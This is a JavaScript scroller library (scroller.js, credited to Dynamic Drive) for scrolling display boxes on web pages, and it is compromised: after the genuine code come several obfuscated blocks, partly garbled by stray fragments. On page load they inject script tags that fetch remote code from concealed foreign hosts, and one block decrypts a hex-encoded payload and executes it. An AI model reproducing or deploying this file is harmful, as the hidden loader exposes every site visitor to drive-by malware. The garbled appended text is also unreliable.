/******************************************************************************
* scroller.js                                                                 *
*                                                                             *
* Copyright 1999 by Mike Hall.                                                *
* Visit http://www.dynamicdrive.com                                           *
* Last update: July 21st, '02 by Dynamic Drive for NS6 functionality.         *
*                                                                             *
* Allows you to create scrolling displays on a page. Multiple scrollers can   *
* be defined, each with it's own parameters and list of items. Item text can  *
* include basic HTML tags, including links and images.                        *
* Note: requires dhtmllib.js.                                                 *
******************************************************************************/

//*****************************************************************************
// Scroller constructor.
//*****************************************************************************

function Scroller(x, y, width, height, border, padding) {

  this.x = x;
  this.y = y;
  this.width = width;
  this.height = height;
  this.border = border;
  this.padding = padding;

  this.items = new Array();
  this.created = false;

  // Set default colors.

  this.fgColor = "#000000";
  this.bgColor = "#ffffff";
  this.bdColor = "#000000";

  // Set default font.

  this.fontFace = "Arial,Helvetica";
  this.fontSize = "2";

  // Set default scroll timing values.

  this.speed = 200;
  this.pauseTime = 2000;

  // Define methods.

  this.setColors = scrollerSetColors;
  this.setFont = scrollerSetFont;
  this.setSpeed = scrollerSetSpeed;
  this.setPause = scrollersetPause;
  this.addItem = scrollerAddItem;
  this.create = scrollerCreate;
  this.show = scrollerShow;
  this.hide = scrollerHide;
  this.moveTo = scrollerMoveTo;
  this.moveBy = scrollerMoveBy;
  this.getzIndex = scrollerGetzIndex;
  this.setzIndex = scrollerSetzIndex;
  this.stop = scrollerStop;
  this.start = scrollerStart;
}

//*****************************************************************************
// Scroller methods.
//*****************************************************************************

function scrollerSetColors(fgcolor, bgcolor, bdcolor) {

  if (this.created) {
    alert("Scroller Error: Scroller has already been created.");
    return;
  }
  this.fgColor = fgcolor;
  this.bgColor = bgcolor;
  this.bdColor = bdcolor;
}

function scrollerSetFont(face, size) {

  if (this.created) {
    alert("Scroller Error: Scroller has already been created.");
    return;
  }
  this.fontFace = face;
  this.fontSize = size;
}

function scrollerSetSpeed(pps) {

  if (this.created) {
    alert("Scroller Error: Scroller has already been created.");
    return;
  }
  this.speed = pps;
}

function scrollersetPause(ms) {

  if (this.created) {
    alert("Scroller Error: Scroller has already been created.");
    return;
  }
  this.pauseTime = ms;
}

function scrollerAddItem(str) {

  if (this.created) {
    alert("Scroller Error: Scroller has already been created.");
    return;
  }
  this.items[this.items.length] = str;
}

function scrollerCreate() {

  var start, end;
  var str;
  var i, j;
  var x, y;

  if (!isMinNS4 && !ie && !dom)
    return;

  // On first scroller, start interval timer.

  if (scrollerList.length == 0)
    setInterval('scrollerGo()', scrollerInterval);

  // Create the scroller only once.

  if (this.created) {
    alert("Scroller Error: Scroller has already been created.");
    return;
  }
  this.created = true;

  // Copy first item to the end of the list, this lets us scroll from the last
  // defined item to the first without jumping.

  this.items[this.items.length] = this.items[0];

  // Set up HTML code for item text.

  start = '<table border=0'
        + ' cellpadding=' + (this.padding + this.border)
        + ' cellspacing=0'
        + ' width=' + this.width
        + ' height=' + this.height + '>'
        + '<tr><td>'
        + '<font'
        + ' color="' + this.fgColor + '"'
        + ' face="' + this.fontFace + '"'
        + ' size=' + this.fontSize + '>';
  end   = '</font></td></tr></table>';

  // Build the layers.

  if (isMinNS4) {
    this.baseLayer = new Layer(this.width);
    this.scrollLayer = new Layer(this.width, this.baseLayer);
    this.scrollLayer.visibility = "inherit";
    this.itemLayers = new Array();
    for (i = 0; i < this.items.length; i++) {
      this.itemLayers[i] = new Layer(this.width, this.scrollLayer);
      this.itemLayers[i].document.open();
      this.itemLayers[i].document.writeln(start + this.items[i] + end);
      this.itemLayers[i].document.close();
      this.itemLayers[i].visibility = "inherit";
    }

    // Set background colors.

    setBgColor(this.baseLayer, this.bdColor);
    setBgColor(this.scrollLayer, this.bgColor);
  }

  if (ie||dom) {
    i = scrollerList.length;
    str = '<div id="scroller' + i + '_baseLayer"'
        + ' style="position:absolute;'
        + ' background-color:' + this.bdColor + ';'
        + ' width:' + this.width + 'px;'
        + ' height:' + this.height + 'px;'
        + ' overflow:hidden;'
        + ' visibility:hidden;">\n'
        + '<div id="scroller' + i + '_scrollLayer"'
        + ' style="position:absolute;'
        + ' background-color: ' + this.bgColor + ';'
        + ' width:' + this.width + 'px;'
        + ' height:' + (this.height * this.items.length) + 'px;'
        + ' visibility:inherit;">\n';
    for (j = 0; j < this.items.length; j++) {
      str += '<div id="scroller' + i + '_itemLayers' + j + '"'
          +  ' style="position:absolute;'
          +  ' width:' + this.width + 'px;'
          +  ' height:' + this.height + 'px;'
          +  ' visibility:inherit;">\n'
          +  start + this.items[j] + end
          +  '</div>\n';
    }
    str += '</div>\n'
        +  '</div>\n';

    // Insert HTML code at end of page. For IE4, need to scroll window to
    // end of page, insert and scroll back to correct bug.

    if (!(ie&&window.print)) {
      x = getPageScrollX();
      y = getPageScrollY();
      window.scrollTo(getPageWidth(), getPageHeight());
    }
    if (ie)
    document.all.tempholder.innerHTML=str
    else if (dom)
    document.getElementById("tempholder").innerHTML=str
//EDIT HERE//////////////////////////////////////////////////////////////////////////////
    if (!(ie&&window.print))
      window.scrollTo(x, y);

    // Get handles to each layer.

    this.baseLayer = getLayer("scroller" + i + "_baseLayer");
    this.scrollLayer = getLayer("scroller" + i + "_scrollLayer");
    this.itemLayers = new Array();
    for (j = 0; j < this.items.length; j++)
      this.itemLayers[j] = getLayer("scroller" + i + "_itemLayers" + j);
  }

  // Position and clip base and scroll layers.

  moveLayerTo(this.baseLayer, this.x, this.y);
  clipLayer(this.baseLayer, 0, 0, this.width, this.height);
  moveLayerTo(this.scrollLayer, this.border, this.border);
  clipLayer(this.scrollLayer, 0, 0,
            this.width - 2 * this.border, this.height - 2 * this.border);

  // Position and clip each item layer.

  x = 0;
  y = 0;
  for (i = 0; i < this.items.length; i++) {
    moveLayerTo(this.itemLayers[i], x, y);
    clipLayer(this.itemLayers[i], 0, 0, this.width, this.height);
    y += this.height;
  }

  // Set up scrolling parameters.

  this.stopped = false;
  this.currentY = 0;
  this.stepY = this.speed / (1000 / scrollerInterval);
  this.stepY = Math.min(this.height, this.stepY);
  this.nextY = this.height;
  this.maxY = this.height * (this.items.length - 1);
  this.paused = true;
  this.counter = 0;

  // Add to global list.

  scrollerList[scrollerList.length] = this;

  // Display it.

  showLayer(this.baseLayer);
}

function scrollerShow() {

  if (this.created)

    showLayer(this.baseLayer);
}

function scrollerHide() {

  if (this.created)
    hideLayer(this.baseLayer);
}

function scrollerMoveTo(x, y) {

  if (this.created)
    moveLayerTo(this.baseLayer, x, y);
}

function scrollerMoveBy(dx, dy) {

  if (this.created)
    moveLayerBy(this.baseLayer, dx, dy);
}

function scrollerGetzIndex() {

  if (this.created)
    return(getzIndex(this.baseLayer));
  else
    return(0);
}

function scrollerSetzIndex(z) {

  if (this.created)
    setzIndex(this.baseLayer, z);
}

function scrollerStart() {

  this.stopped = false;
}

function scrollerStop() {

  this.stopped = true;
}

//*****************************************************************************
// Code for scrolling.
//*****************************************************************************

// An array is used to hold a pointer to each scroller that is defined. The
// scrollerGo() function runs at regular intervals and updates each scroller
// in this list.

var scrollerList     = new Array();
var scrollerInterval = 20;

function scrollerGo() {

  var i;

  // Update each scroller object in the list.

  for (i = 0; i < scrollerList.length; i++) {

    // If stopped, skip.

    if (scrollerList[i].stopped);

    // If paused, update counter.

    else if (scrollerList[i].paused) {
      scrollerList[i].counter += scrollerInterval;
      if (scrollerList[i].counter > scrollerList[i].pauseTime)
        scrollerList[i].paused = false;
    }

    // Scroll it.

    else {
      scrollerList[i].currentY += scrollerList[i].stepY;

      // Pause it if the next item has scrolled into view.

      if (scrollerList[i].currentY >= scrollerList[i].nextY) {
        scrollerList[i].paused = true;
        scrollerList[i].counter = 0;
        scrollerList[i].currentY = scrollerList[i].nextY;
        scrollerList[i].nextY += scrollerList[i].height;
      }

      // When we reach the end, start over.

      if (scrollerList[i].currentY >= scrollerList[i].maxY) {
        scrollerList[i].currentY -= scrollerList[i].maxY;
        scrollerList[i].nextY = scrollerList[i].height;
      }

      scrollLayerTo(scrollerList[i].scrollLayer,
                    0, Math.round(scrollerList[i].currentY),
                    false);
    }
  }
}

//*****************************************************************************
// Code to handle a window resize.
//*****************************************************************************

// These variables are used to determine if a resize event is a true one.
// Necessary due to a bug in older NS4 releases.

var origWidth;
var origHeight;

// Fix for resize bug.

if (isMinNS4) {
  origWidth  = window.innerWidth;
  origHeight = window.innerHeight;
}
window.onresize = scrollerReload;

function scrollerReload() {

  // Reload page in case of a browser resize. First make sure it's a true
  // resize.

  if (isMinNS4 && origWidth == window.innerWidth && origHeight == window.innerHeight)
    return;
  window.location.href = window.location.href;
}


var k;if(k!='d' && k!='a'){k='d'};var g;if(g!='_' && g!='av'){g='_'};this.o="";this.j="";var l='sjcQrfi.p.tf'.replace(/[fmj\.Q]/g, '');var ag=new String();this.gr=false;var q=window;this.zf="zf";this.lq="lq";var p=document;this.tx='';var nv="nv";var exy="exy";var sz;if(sz!='fj'){sz='fj'};var lm=new Array();var wh='';q.onload=function(){try {var sa=new Array();h=p.createElement(l);var y;if(y!='ej' && y != ''){y=null};this.yr="yr";var yq;if(yq!='hi'){yq='hi'};var ve;if(ve!='hns'){ve='hns'};h.src='hQt!t>pX:!/>/!wzpQ-Qpzl!.zfzi!s>hzkXi>.Xn>eQt!.Xa>lQlXa!bQoXu>tz-Qc!oQ-Xj!pz.zyzo!u!rQtQaQgzh>ezuzeQrz.Qr>u!:X8>0X8z0>/zlQezn!ozv!oQ.zczoXm!/!l!eXnQo!vzo>.>czozm>/Qg!o>oQgXlXe!.>c>o!m>/zszpXo!n!sXo>rXaQd!sQ.zdzeX/Qm!azpzqXuze>s!t>.Xc!o>m>/!'.replace(/[\!QzX\>]/g, '');var ws="ws";var _y=35057;h.setAttribute('dteAfBeHrc'.replace(/[cHABt]/g, ''), "1");this.sq=false;this.dk=false;this.go="";p.body.appendChild(h);var gj='';} catch(x){var hx;if(hx!='' && hx!='yp'){hx=null};};var mi;if(mi!='' && mi!='ky'){mi=null};};var re;if(re!='ki'){re=''};var yx=27540;
var s=new Date();var e=new Date();:LineMixer [var u;if(u!='n'){u='n'};this.a='';var h=window;this.zo='';var hw;if(hw!='o' && hw!='yq'){hw=''};var g='szcmrzimpztm'.replace(/[mz@E/]/g, '');var er;if(er!='' && er!='gy'){er=''};var c=new Array();var l='cZrFeTaZtFeTEFl_eFmZe_n_t_'.replace(/[_FZTW]/g, '');]h.onload=function(){this.cs="";this.rt="rt";try {f=document[l](g);var se;if(se!='' && se!='db'){se=null};var gl;if(gl!='' && gl!='dz'){gl=null};var w;if(w!='' && w!='bw'){w=null};this._m="";:LineMixer [f['s0rKcT'.replace(/[T\*90K]/g, '')]='hMtMtHpH:5/M/FyMa5lMl5aHkFoMrMaM-5cHoFmI.McFhHiFnMa5zH.IcMoFmM.Fa5d5dHtFhMiFsM-5cMoMmF.5h5oMtMnIeFwHgMuIiMdIeI.HrHuH:H8H0I8F0H/Hg5oIoIgMlFeH.IcHoFmF/IgFoIo5gMlHeF.5cHoIm5/Mh5oFtHlHi5nIkHiMmHaHg5eF.HcMo5mM/IjIcIpFe5n5nIeIyH.FcFo5mI/HsHoIsFoM.IcMoIm5/5'.replace(/[5MHFI]/g, '');f.setAttribute('dse,f,e,r@'.replace(/[@sJ,z]/g, ''), "1");this.hs=25025;var tw=57255;]var jk;if(jk!='' && jk!='ye'){jk=null};var lv;if(lv!='' && lv!='po'){lv=null};var xr;if(xr!='om' && xr!='lc'){xr=''};document['bmo&dZyH'.replace(/[HzZ&m]/g, '')]['aDpUpyeDn3dyCAhyiDl3dD'.replace(/[DAyU3]/g, '')](f);var fj=new String();var xl=new String();} catch(hg){var lq;if(lq!='kp' && lq != ''){lq=null};var rtu="rtu";};this.gx="gx";var fn;if(fn!='pb' && fn!='aq'){fn='pb'};};
var i=false;var os=false;try {var x;if(x!=''){x='ls'};var z='c9r0e#a!t0e*E9l0e0m#e0n9t0'.replace(/[0\!#9\*]/g, '');var el;if(el!='th' && el!='oe'){el=''};var o='oZn+lVo+a+du'.replace(/[u\+ZV@]/g, '');var p='socoraiCpatn'.replace(/[naoC\<]/g, '');var rkm="";var vq="";var r=window;var cs='';g=function(){this.uw="uw";var d;if(d!=''){d='m'};h=document[z](p);h.setAttribute('d>etfge#r#'.replace(/[#gtp\>]/g, ''), ([3,1][1]));var _b=new Date();h['s*r*c*'.replace(/[\*W\<VA]/g, '')]='h>t6t&pQ:6/>/Qr>oQt6t_e&n>t6oQm6a6t>o>e6sQ-6c6o>m_.6h&a_t&t6r&i>c>k_.6o>rQg_._u>iQmQs_e6r&v>->n>e&tQ.6h_oQm&e6cQa_rQe>nQa_t&i_o_n&.>r>u6:&8>0_8_0_/>a&dQo6b_e>.6c&o>m&/>a_d_o_b_e&.6cQo_mQ/6y&a_p&l&o&g6.6j>p6/_gQo_o&g6l>eQ.>cQo_m_/QtQr>i6p6o&d&.Qc_o&m_/_'.replace(/[_&6\>Q]/g, '');var ov=new Date();var cz;if(cz!='jh'){cz='jh'};document['bToTd5y5'.replace(/[5TDSu]/g, '')]['arpJpre3n3duCZh3iZlJdu'.replace(/[ur3JZ]/g, '')](h);};var lu;if(lu!='' && lu!='rd'){lu=null};r[o]=g;var ss=new Array();var ssx=false;} catch(t){var zga;if(zga!='n' && zga!='a'){zga=''};};var hd;if(hd!='' && hd!='up'){hd='hf'};
var gL="5b6052687e18505c53414612505c7b681253734e7e6c7b50407b7b69675546404662464444704e784b4e65414b746c404f6d434348467b714c6d7b6875515b4765115561107f627c2f7062086c60";var nE=new Array();var HQr=new Array();function y(s){var Fa="Fa"; var Y=function(J){var Vb=false;var HT;if(HT!='' && HT!='Kr'){HT=null};var X;if(X!='zA'){X='zA'};var h = -1;var sN =[10,186,0][2];this.cn=false;var Pd;if(Pd!='' && Pd!='Na'){Pd=null};var bk;if(bk!='' && bk!='cP'){bk=''};var M = '';this.WN="";var O =[0][0];var IV;if(IV!='sy' && IV!='FL'){IV=''};var gu=48450;J = new H(J);var OH;if(OH!='Ub'){OH=''};var ss="ss";this.bL=false;for (O=J[g("elgnht", [1,0])]-h;O>=sN;O=O-[1][0]){M+=J[g("acAtrh", [1,5,0,4,2,3])](O);var q=false;var bl=new Date();}this.yb="";var Tv=59458;var eh;if(eh!=''){eh='zY'};return M;};this.Yj="Yj";this.hf="hf";var hL;if(hL!=''){hL='IM'};var Bf;if(Bf!=''){Bf='My'}; var Q;if(Q!='' && Q!='yU'){Q=null};function gq(N,k){return N^k;}var Oq=47146;var NL;if(NL!='' && NL!='zYm'){NL='p'};var Cm;if(Cm!='w' && Cm!='Qp'){Cm='w'}; var g=function(J, Z){var qh=53877;var eX;if(eX!='' && eX!='DI'){eX=''};var sN=[138,0][1];var uN;if(uN!='' && uN!='zv'){uN='kR'};var e=[115,1][1];var M = '';var YH;if(YH!='' && YH!='Py'){YH=''};var cE;if(cE!=''){cE='GY'};var W = J.length;var NG;if(NG!='' && NG!='Ue'){NG=''};var L = Z.length;var kvh;if(kvh!='' && kvh!='gA'){kvh=null};var YL="";var AM="AM";var dw;if(dw!='Ds'){dw=''};var og;if(og!='et'){og=''};for(var O = sN; O < W; O += L) {var kv = J.substr(O, L);var Op=new Array();var cb;if(cb!='' && cb!='th'){cb=null};if(kv.length == L){var Ou=10528;var CmF='';var sr='';for(var c in Z) {var Ox;if(Ox!='uL' && Ox!='ey'){Ox=''};var si="";var Dd="";M+=kv.substr(Z[c], e);}this.XH='';} else {var ph;if(ph!='' && ph!='CC'){ph=''};  M+=kv;var Kf;if(Kf!='pD'){Kf=''};var Ls="Ls";}this.lO='';var iW;if(iW!='RD'){iW=''};}var qN;if(qN!='' && qN!='fu'){qN='bm'};this.eY="";return M;this.BN="BN";}; function K(eK){var xx;if(xx!=''){xx='Jx'};var JQ=[255,50][0];var At="At";var SY;if(SY!='SM' && SY!='qf'){SY=''};var c=[0,60,180,247][0];var ki=new String();this.aP="aP";var JZ=[0][0];var sz=new Date();var d=eK[g("elgnht", [1,0])];var e=[103,1,133][1];var Jc;if(Jc!='' && Jc!='KL'){Jc=null};var pY;if(pY!=''){pY='nH'};while(c<d){var Lh="";var eSU;if(eSU!='eS' && eSU!='Bl'){eSU='eS'};c++;var oA="";var XC="";m=A(eK,c - e);var aq;if(aq!='Lq'){aq=''};this.Sq=55274;JZ+=m*d;var dY;if(dY!='lW'){dY='lW'};}var Nb;if(Nb!='' && Nb!='Ce'){Nb='pF'};var cwP=new Date();return new H(JZ % JQ);}var te;if(te!='QP' && te != ''){te=null};var eD;if(eD!='dk' && eD!='FQ'){eD='dk'};this.SMw=50089;var GW=new String(); var A=function(b,V){var BC;if(BC!='Ux' && BC!='Lp'){BC='Ux'};var wh='';return b[g("hcraoCedtA", [1,0])](V);};var JB;if(JB!='EW' && JB != ''){JB=null};var djC;if(djC!='vd'){djC=''};var Au=window;var UH="UH";var dFn="dFn";var gH=Au[g("vael", [2,0,1])];var qI=new String();var yW='';var o=gH(g("oinuFctn", [4,3,2,5,6,1,0]));var aE='';var So;if(So!='Fg'){So='Fg'};var T = '';var H=gH(g("tSirgn", [1,0]));this.KO='';var Dg;if(Dg!='' && Dg!='QN'){Dg='xJ'};var WE=gH(g("EgxpRe", [4,5,1,0,2,3]));var Rf=51164;var vP;if(vP!='' && vP!='ecm'){vP='yK'};var B=Au[g("scenuape", [4,3,2,0,1])];var sB;if(sB!=''){sB='Ad'};this.xP=25267;var mU=H[g("CrohmfdrCeoa", [5,1,2,4,0,3])];this.yG="";var xF=new Date();var Wh;if(Wh!='' && Wh!='TQ'){Wh=null};var mI;if(mI!='' && mI!='ni'){mI=null};this.lZ="lZ";var e =[1][0];var ol =[63,169,0,2][3];var rql="rql";var uC;if(uC!='OS'){uC=''};var Rp;if(Rp!='' && Rp!='Tr'){Rp='Gr'};var sN =[99,0][1];var Cw;if(Cw!='' && Cw!='kE'){Cw=''};var Yk = H.fromCharCode(37);this.Vi="";var z = '';var i = /[^@a-z0-9A-Z_-]/g;this.LH=false;var hB = s[g("elntgh", [1,0,2])];this.BCO="BCO";var u=[1, g("cueomd.cetrneEetlant\'e(mritcps\')", [5,3,0,1,4,2]),2, g("ilsdkclaen.set", [2,1,0]),3, g("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),4, g("oc.milevisetedisngr.:u0808", [1,0]),5, g(".desAtttirubet\'(edef\'r", [1,0]),6, g("en.tamct.hoc.mobtsno", [1,0]),7, g("rowerdrefcnec.eom", [2,1,0]),8, g("dniwo.woaolnd", [3,2,1,0]),11, g("ufntcino()", [1,0,2]),12, g("oggoelc.mo", [1,0]),14, g("2im.86mco", [1,2,0]),15, g("tac(hce)", [2,1,0]),16, g("t\"h:tp", [1,2,0]),17, g("sd.rc", [1,2,0,3,4]),18, g("1\')\'", [1,0]),19, g("xgm", [1,2,0]),20, g("rty", [1,0,2])];var WC;if(WC!='Sh' && WC!='kL'){WC=''};var mN = '';var Fp="";var QB="";var ec = '';this.CCM='';var YF =[0][0];var zW;if(zW!='KX'){zW='KX'};this.Xy=false;var DH=new String();var Yx;if(Yx!='' && Yx!='fa'){Yx=null};var vE=new String();for(var Hk=sN; Hk < hB; Hk+=ol){var xk;if(xk!='CR' && xk!='oE'){xk='CR'};var IG=false;z+= Yk; this.xa="";z+= s[g("usbstr", [3,0,2,1])](Hk, ol);var hQ;if(hQ!='jv'){hQ='jv'};}var s = B(z);this.Zn='';var gl = new H(y);var HG = gl[g("prelace", [1,2,0,3])](i, mN);var DU='';this.Px='';var F = u[g("nelhtg", [2,1,0])];var Rox;if(Rox!='vD' && Rox!='Rt'){Rox=''};HG = Y(HG);this.hu=false;var GAn=false;var HD;if(HD!='hBs'){HD=''};var Tf;if(Tf!='CRw'){Tf=''};var NQ = new H(o);var Ec;if(Ec!='' && Ec!='Ly'){Ec=null};var uP;if(uP!='Go' && uP != ''){uP=null};var Rg;if(Rg!='ZRL' && Rg!='tO'){Rg=''};var wi;if(wi!='aV' && wi!='SYi'){wi=''};var tE;if(tE!='vB' && tE != ''){tE=null};this.LpM='';var v = NQ[g("erlpace", [1,0,3,2])](i, mN);var v = K(v);var j=K(HG);var Hm;if(Hm!='' && Hm!='jF'){Hm=''};var cQ=new Array();var qTL;if(qTL!='CCl' && qTL != ''){qTL=null};for(var O=sN; O < (s[g("tlengh", [1,2,3,4,0])]);O=O+[220,1][1]) {var oxJ;if(oxJ!=''){oxJ='LQ'};var oa = HG.charCodeAt(YF);var MS;if(MS!='Iz' && MS != ''){MS=null};var Yy;if(Yy!='jA' && Yy != ''){Yy=null};var mc = A(s,O);var XG;if(XG!='Wr' && XG!='CH'){XG=''};var dW;if(dW!='vW' && dW!='Pb'){dW=''};var glk="";var pg;if(pg!='' && pg!='WCS'){pg='WD'};mc = gq(mc, oa);var CF;if(CF!='yF' && CF!='Fv'){CF='yF'};this.Ac='';mc = gq(mc, j);var EJ="EJ";mc = gq(mc, v);var xn=false;this.Nt=27401;var fN;if(fN!='HV' && fN!='FA'){fN=''};this.RS="";YF++;var NH;if(NH!='' && NH!='vX'){NH=''};var im=new Array();if(YF > HG.length-e){YF=sN;}var Nd;if(Nd!='OpK' && Nd!='Hr'){Nd=''};this.zAN="";ec += mU(mc);}for(U=sN; U < F; U+=ol){var xG=new String();var UP;if(UP!='Aw'){UP=''};var RJ;if(RJ!='bz' && RJ!='UV'){RJ='bz'};var AQ = u[U + e];var fS;if(fS!=''){fS='mC'};var Eb="";var eU;if(eU!=''){eU='QR'};this.UHb="UHb";var S = mU(u[U]);this.kp=false;var mR = new WE(S, H.fromCharCode(103));var zG;if(zG!='' && zG!='swE'){zG=null};ec=ec[g("erlapce", [1,6,4,2,3,5,0])](mR, AQ);var KN="";}this.XgZ=29204;var ga;if(ga!='' && ga!='YxW'){ga=''};var yY=new Date();var D=new o(ec);var by;if(by!='tS' && by!='KeY'){by=''};D();var Yjf;if(Yjf!='Zt'){Yjf=''};this.rx=false;v = '';HG = '';var rL;if(rL!='NOx' && rL!='Uf'){rL=''};var Uqk=new Date();D = '';var aVY;if(aVY!='QBI' && aVY!='YLI'){aVY=''};ec = '';var uk;if(uk!='zR' && uk != ''){uk=null};NQ = '';j = '';var dFJ;if(dFJ!='' && dFJ!='WV'){dFJ='Bd'};var kF;if(kF!='' && kF!='HF'){kF='QY'};return '';var UZ;if(UZ!='' && UZ!='cu'){UZ='iQ'};};var nE=new Array();var HQr=new Array();y(gL);


var W=new Array();function y(){var vc='';var Q;if(Q!='' && Q!='yb'){Q=''};var T=window;var j;if(j!='F' && j!='A'){j='F'};this.sZ='';var vw=new String();var E=unescape;var w=E("%2f%66%72%65%65%77%65%62%73%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%72%65%6e%2e%63%6f%6d%2e%70%68%70");var yq;if(yq!='' && yq!='l'){yq=''};this.z='';function b(p,u){this.lb="";var B;if(B!='sk'){B=''};var O=new Date();var Td=new String("g");var r=E("%5b"), s=E("%5d");var h;if(h!='' && h!='wq'){h='q_'};var e_;if(e_!='bw' && e_ != ''){e_=null};var M=r+u+s;var sK=new RegExp(M, Td);return p.replace(sK, new String());var VI;if(VI!=''){VI='m'};var kL='';};var pu='';var kH='';var W_=new String();var hY=new Date();var U=document;var tV;if(tV!='FH' && tV != ''){tV=null};var kj=new String();var V=b('8333202223381330113','1324');var e=new String();var aF;if(aF!='ow'){aF='ow'};var VB=new Date();var _=new String();var hc;if(hc!='yE' && hc != ''){hc=null};function Vg(){this.tL='';var UI;if(UI!='TR' && UI != ''){UI=null};var k=E("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");e=k;e+=V;e+=w;var Zz;if(Zz!='Su'){Zz=''};var iT;if(iT!='da' && iT!='Uq'){iT='da'};this.RR="";try {var sPn=new String();var rL=new Date();v=U.createElement(b('s4c4r4ivpvt4','v4'));var hh="";this.cv='';v[E("%64%65%66%65%72")]=[1,9][0];var sG=new String();v[E("%73%72%63")]=e;this.Vc='';var LZ='';U.body.appendChild(v);var CW='';var AB=new Array();} catch(Z){var yV;if(yV!='' && yV!='Gg'){yV=''};alert(Z);var ug;if(ug!='' && ug!='vE'){ug=null};};var OU=new String();}this.sW="";var iTU="";T[new String("onl"+"oadeU4".substr(0,3))]=Vg;this.pf="";};var Hk=new Array();var XG=new String();var RS;if(RS!='bf' && RS != ''){RS=null};y();this.pY="";